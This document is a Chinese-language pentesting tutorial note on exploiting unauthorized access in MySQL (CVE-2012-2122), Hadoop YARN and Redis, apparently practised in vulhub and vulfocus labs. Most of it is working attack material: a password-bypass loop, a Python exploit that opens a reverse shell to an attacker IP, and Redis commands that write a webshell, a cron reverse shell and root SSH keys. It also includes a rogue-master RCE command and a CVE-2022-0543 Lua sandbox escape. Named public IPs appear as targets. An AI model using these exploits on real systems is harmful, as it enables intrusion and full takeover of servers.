前置知识:

应用服务安全测试流程:见图

  • 判断服务开放情况(具备服务才能继续测试)
    • 端口扫描
    • 组合应用
    • 信息来源等
  • 判断服务类型归属
    • 数据库
    • 文件传输
    • 通讯等
    • 远程控制等
  • 判断服务利用方式
    • 特定漏洞
    • 未授权
    • 弱口令等

实例

Mysql-未授权访问-CVE-2012-2122利用

复现环境:vulhub 内置端口33067

# 爆破数据库账密的方法
安装mysql并且进行下面的测试
for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done

Hadoop-未授权访问-内置配合命令执行RCE

复现环境:vulfocus(本地环境复现经常出bug,推荐到云服务做测试)

import requests
# 目标服务器的网址
target = 'http://123.58.236.76:31361/'

# 自己搭建的外部服务器的IP地址
lhost = '47.94.236.117' ## put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)

最后使用nc监听端口

nc -lvvp 9999
# 监听完后在本地主机执行上面的python exp

Redis-未授权访问-Webshell&任务&密匙&RCE等

# 满足条件:
/etc/redis.conf
# 必须是注释掉的才能满足未授权访问的第一个条件
# bind: 127.0.0.1
# 关闭安全模式
protected-mode no


# 设置密码:没设置密码时就能空密码连接
# requirepass foobared

解法有三种

1、写Webshell 需得到Web路径

利用条件:Web目录权限可读写

config set dir /tmp ## 设置WEB写入目录
config set dbfilename 1.php ## 设置写入文件名
set test "<?php phpinfo();?>" ## 设置写入文件代码
bgsave ## 保存执行
save ## 保存执行
注意:部分没目录权限读写权限

2、写定时任务反弹shell

利用条件:
允许异地登录
安全模式protected-mode处于关闭状态

config set dir /var/spool/cron
set yy "\n\n\n* * * * * bash -i >& /dev/tcp/47.94.236.117/5555 0>&1\n\n\n"
config set dbfilename x
save

注意:
centos会忽略乱码去执行格式正确的任务计划
而ubuntu并不会忽略这些乱码,所以导致命令执行失败

3、写入Linux ssh-key公钥

利用条件:
允许异地登录
Redis服务使用ROOT账号启动
安全模式protected-mode处于关闭状态
允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
攻击机器的操作:
ssh-keygen -t rsa
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 118.31.57.214 -x set xxx (IP地址是被攻击主机的)

连接上目标主机:
redis-cli -h 9.21.44.1

config set dir /root/.ssh/
config set dbfilename authorized_keys
save

cd /root/.ssh/
ssh -i id_rsa root@118.31.57.214

4、RCE自动化利用脚本-vulfocus (相对好些)

https://github.com/vulhub/redis-rogue-getshell
// 被攻击的IP地址:8.218.239.107
python3 redis-master.py -r 8.218.239.107 -p 11820 -L 8.217.11.47 -P 8888 -f RedisModulesSDK/exp.so -c "id"

5.新漏洞-沙箱绕过RCE CVE-2022-0543-vulfocus (相对好些)

Poc:执行id命令
连接上Redis,执行:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

额外:溯源,看是哪个服务被攻击,接着优先看日志
明确每个日志的关系。